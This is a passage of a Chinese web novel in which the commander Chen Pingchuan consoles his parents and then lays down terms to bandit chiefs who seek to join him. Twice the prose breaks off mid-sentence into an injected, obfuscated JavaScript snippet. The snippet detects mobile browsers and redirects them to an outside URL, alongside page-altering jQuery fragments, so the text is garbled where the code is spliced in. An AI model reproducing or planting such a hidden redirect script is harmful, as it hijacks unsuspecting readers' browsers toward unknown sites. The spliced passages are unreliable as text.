陈仲和浑身无力地瘫坐在了门槛上,这位老实了一辈子的男人,此刻老泪纵横,泣不成声。 “作孽啊……真是作孽啊……” 罗氏站在一旁,也是红着眼圈,不住地叹气。 陈平川走到父亲面前,缓缓地蹲下身子。 “爹。”他轻声喊道。 陈仲和抬起头,看着儿子那张年轻却写满沧桑的脸,嘴唇动了动,最终只化作一声长叹。 “儿啊,爹知道,你这样做没错。” “爹。”陈平川摇了摇头,声音有些沙哑,“我知道,他们再混蛋,也是你的兄弟。所以我不会让你为难。” 他顿了顿,继续说道:“我保证不会杀了他们,但我也不能放了他们,以他们的德性,将来只会惹出更大的麻烦,甚至会成为敌人用来对付我们的工具。” “我明白……我明白……”陈仲和擦了擦眼泪,点了点头。他虽然老实,但不傻。 儿子说的道理,他都懂。 “爹,娘。”陈平川站起身,看着自己的父母,“儿子可能……没有太多时间陪在你们身边。” 他的目光,望向了大堂之外,那深沉的夜空。 庐州,只是他霸业途中的一站。 更广阔的天地,更艰巨的挑战,还在等着他。 罗氏走过来,伸手摸了摸儿子的脸,眼中满是心疼和骄傲。 “去吧,川儿。”她哽咽着说,“家里不用操心,你放心去做你的大事。我们……不拖你后腿。” 陈平川重重地点了点头,转身看向秦锋等人。 “传令下去,全军休整十日。十日后,大军准备开拔!追击蛮族!” 他的声音,再次恢复了统帅的威严和果决。 秦锋等人心中一凛,齐声应道:“是!” 他们知道,短暂的温情已经结束。 他们的将军,又要开始他那征服天下的脚步了。 而这一次,再也没有什么,能够成为他的绊脚石。 …… 庐州城破,伪王李汶洛伏诛的消息,迅速传遍了周边的州府。 陈平川的名字,再一次震动了江淮大地。 与之前剿灭倭寇、平定建州不同,这一次,他面对的是一个拥兵数万、占据一府之地、悍然称王的割据势力。 然而,从大军兵临城下,到彻底攻破庐州,前后不过一天时间。 尤其是那摧枯拉朽、能将坚固城墙轰成齑粉的恐怖炮火,更是让所有听到消息的人,都感到一阵从心底里冒出来的寒意。 一时间,原本因为大业朝廷崩溃、蛮族南下而混乱不堪的江淮地区,各方势力的目光,都聚焦到了庐州这座新崛起的权力中心。 三天后,就在林勇率领大部队来到庐州城,与陈平川汇合之时,庐州城外,变得热闹非凡。 一波又一波的人马,打着各式各样的旗号,从四面八方赶来,**在城外,声称要求见陈平川。 这些人,成分极其复杂。 有的是附近府县的豪强大族,他们趁着乱世,组织了乡勇家丁,保境安民,实际上是想割据一方。 有的是啸聚山林的土匪山贼,手下少则数百,多则上千人,平日里打家劫舍,现在看到陈平川势大,便想来投靠,找个更大的饭票。 甚至还有一些是原本大业朝的溃兵将领,带着残部四处流窜,成了无主的孤魂野鬼。 这些人,无一例外,都看中了陈平川强大的武力和地盘,想要来分一杯羹,或者找一个能遮风挡雨的屋檐。 知府衙门内,陈平川正在听取手下的汇报。 “主公,城外现在已经**了不下二十股势力,总人数加起来,怕是得有万把人。他们都派了使者进城,递上名帖,想要拜见您。”秦锋站在堂下,眉头微皱。 “都是些什么人?”陈平川一边查看最新送来的情报,一边头也不抬地问道。 “鱼龙混杂。”秦锋言简意赅地评价道,“最大的两股,一股是巢湖水寨的大当家,名叫郑蛟,手下有三千水匪,控制着巢湖水道,据说还有不少船只。另一股,是盘踞在霍山一带的‘铁山军’,首领外号‘铁山雕’,是个悍匪,手下有两千多亡命徒。” “其他的,都是些百十来人的小**贼,或者是一些地方上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374591|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的土财主。” 陈平川的动作停了下来,他抬起头,眼中闪过一丝玩味。 “郑蛟……铁山雕……”他念叨着这两个名字,“他们是想投靠我吧?” “嘴上是这么说的。”秦锋撇了撇嘴,显然对这些人不怎么看得上,“但依末将看,他们更多的是想跟咱们结盟,或者说是想让主公您承认他们的地盘和地位,让他们继续当他们的土皇帝。” “想得美。”石头在一旁瓮声瓮气地插了一句,“主公的地盘,岂是他们能觊觎的?” 陈平川笑了笑。 “石头说的没错。”他站起身,走到地图前,目光在庐州周边的地形上扫过,“我的地盘,只能有一个声音,那就是我陈平川的声音。我不允许,在我的治下,有任何不受控制的武装力量存在。” “那主公的意思是……?”秦锋问道。 “见,当然要见。”陈平川的手指,在地图上轻轻敲了敲,“把他们都请进来。我倒要看看,这些牛鬼蛇神,都打着什么算盘。” 他顿了顿,补充道:“不过,不是一个个见。让他们所有势力的头领,明天上午,一起到城外的军营来见我。” “在军营见?”秦锋微微一愣,随即明白了陈平川的用意。 在城里见,那是礼遇。 在城外的军营里,当着数万精锐大军的面见,那就是**,是下马威! “主公英明!”秦锋抱拳道。 第二天上午,庐州城外,陈平川的中军大营。 校场之上,破虏军和破风骑的士兵们,盔甲鲜明,刀枪如林,正在进行着日常的操练。 “杀!杀!杀!” 整齐划一的怒吼声,伴随着兵器碰撞的铿锵之音,汇成一股冲天的杀气,让整个大营都弥漫着一种令人窒息的压迫感。 二十多个来自不同势力的首领,在士兵的“护送”下,穿过这片杀气腾腾的校场,走向中军大帐。 他们的脸色,各不相同。 一些小势力的头目,早已被这阵仗吓得两腿发软,脸色发白,走路都有些不利索。 而为首的两个人,却显得镇定许多。 第372章 我的地盘,我做主!就这么霸气! 一个,是身材魁梧,皮肤黝黑的中年汉子。他穿着一身水蓝色的劲装,腰间挎着一把造型奇特的弯刀,眼神锐利,行走间自有一股水上霸主的豪气。 此人,正是巢湖水寨的大当家,郑蛟。 另一个,则是个面容阴鸷,鹰钩鼻,眼神如同饿狼般贪婪的瘦高个。他穿着一身黑衣,背后背着一张巨大的铁胎弓,浑身散发着一股生人勿近的匪气。他,便是霍山铁山军的首领,铁山雕。 他们两个,虽然也被陈平川军队的精锐和气势所震慑,但仗着自己手下也有数千人马,还不至于像其他人那般不堪。 走进中军大帐,众人一眼就看到了端坐在主位上的陈平川。 他看起来不过是个十几岁的少年,面容清秀,甚至还带着一丝书卷气。但那双眼睛,却深邃得如同古井,让人看不透深浅。他就那么随意地坐在那里,却自有一股不怒自威的气势,压得人喘不过气来。 “草民(在下)……拜见陈将军!” 众人不敢怠慢,纷纷躬身行礼。只是这行礼的姿态,也是各不相同。有的人直接跪了下去,有的人只是拱了拱手。 郑蛟和铁山雕,也只是微微抱拳,算是打了招呼。 “诸位不必多礼,都坐吧。”陈平川抬了抬手,示意众人落座。 大帐内,早已摆好了座位。众人依着各自势力的强弱,纷纷找位置坐下。郑蛟和铁山雕,自然是当仁不让地坐在了最前面的位置。 “听闻诸位英雄好汉,不远百里而来,想要投效我陈某人?”陈平川开门见山,目光在众人脸上一一扫过,“陈某深感荣幸。” 众人纷纷客套起来。 “陈将军说笑了,我等都是仰慕将军神威,特来投奔!” “是啊是啊,如今乱世,我等也想为将军效力,共创大业!” 铁山雕阴测测地笑了笑,开口说道:“陈将军,我们这些人,都是在刀口上舔血的汉子,说话不喜欢拐弯抹角。我们敬佩将军是条好汉,也愿意奉将军为主。只是……我们手底下,都还有几百上千个兄弟要吃饭。希望将军能给我们划下一块地盘,让我们替将军镇守一方,也算是有个安身立命之所。” 他的话,立刻引起了在场大部分人的共鸣。 “铁大当家说的对!” “我们不要钱粮,只要一块地盘!” “我们保证,以后唯将军马首是瞻!” 他们的小算盘,打得噼啪响。 名义上是投靠,实际上是想让陈平川承认他们割据的合法性,以后还能打着陈平川的旗号,继续作威作福。 陈平川听着他们的话,脸上一直挂着淡淡的微笑,不置可否。 他转头看向一直没有说话的郑蛟:“郑大当家,你的意思呢?” 郑蛟沉吟了一下,抱拳道:“陈将军,我郑蛟在巢湖上混了半辈子,靠的就是手里的船和兄弟。地盘我倒是不稀罕,那湖里就是我的地盘。我只希望,将军能允许我们继续保留水寨的建制,我郑蛟保证,以后这江淮水道,但凡是挂着将军旗号的船只,畅通无阻,我郑蛟的兄弟,就是将军您的水师!” 他的话,说得比铁山雕要漂亮,但意思却是一样的。 那就是,要人要地盘,可以。 但必须听我的,不能打散了整编。 陈平川脸上的笑容,更盛了。 他点了点头,说道:“诸位的想法,我都明白了。” 他站起身,缓缓地走到大帐中央,目光变得冷厉起来。 “想要跟着我陈平川干,我欢迎。但是,我这里,有几条规矩。” 陈平川的声音不高,却仿佛有千钧之重,周围瞬间安静了下来。 所有人的目光,都集中在了这个年轻的统帅身上。 “第一条规矩。”陈平川伸出一根手指,“从今天起,你们所有人,都不再是什么大当家、寨主、首领。你们只有一个身份,那就是我陈平川麾下的将领。你们手下的所有人马,也不再是你们的私兵,而是我陈平川的兵!” 此话一出,大帐内的气氛顿时一变。 不少人的脸色,都沉了下来。 尤其是铁山雕,他那双阴鸷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380865|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛里,闪过一丝毫不掩饰的怒意。 陈平川仿佛没有看到他们的表情变化,继续说道:“第二条,所有的人马,必须全部打散,由我统一整编,统一训练,统一发放军饷!你们这些原来的头领,我会根据你们的能力,重新任命职务。有本事的,带一营一哨,没本事的,就从一个小兵做起!” “哗——” 这一次,大帐内彻底炸开了锅。 “什么?把我们的兄弟都打散?” “这怎么行!我手下的兄弟,只认我一个人!” “这不是明摆着要夺我们的兵权吗?” 铁山雕更是“霍”地一下站了起来,他死死地盯着陈平川,冷笑道:“陈将军,你这是什么意思?我们是来投靠你的,不是来让你缴械的!我手下的两千兄弟,都是跟我出生入死的弟兄,你一句话就要把他们打散,未免也太不把我们放在眼里了吧!” 郑蛟虽然没有说话,但他也皱起了眉头,显然对这个条件也无法接受。 陈平川看着群情激奋的众人,脸上的笑容,却慢慢收敛了。 他的目光,变得如同刀锋一般锐利,直视着站起来的铁山雕。 “不把你放在眼里?”陈平川的声音,陡然转冷,“你又算个什么东西,需要我陈平川把你放在眼里?” “你!”铁山雕没想到陈平川会如此不留情面,当众羞辱他,一张脸顿时涨成了猪肝色。 “我什么我?”陈平川向前一步,一股强大的气势,猛地压向铁山雕,“你以为,你手下那两千乌合之众,在我眼里,算得了什么?我告诉你,在我眼里,他们连屁都不是!” “我陈平川的军队,要的是令行禁止的精锐!不是你们这种占山为王、鱼肉百姓的土匪!” “第三条规矩!”陈平川不再理会铁山雕,目光扫过所有人,声音如同惊雷,“凡加入我军者,必须遵守我的军纪!不许骚扰百姓,不许**掳掠,不许私吞钱财!但凡有违背者,一律军法处置,绝不姑息!” “这三条,就是我的规矩!”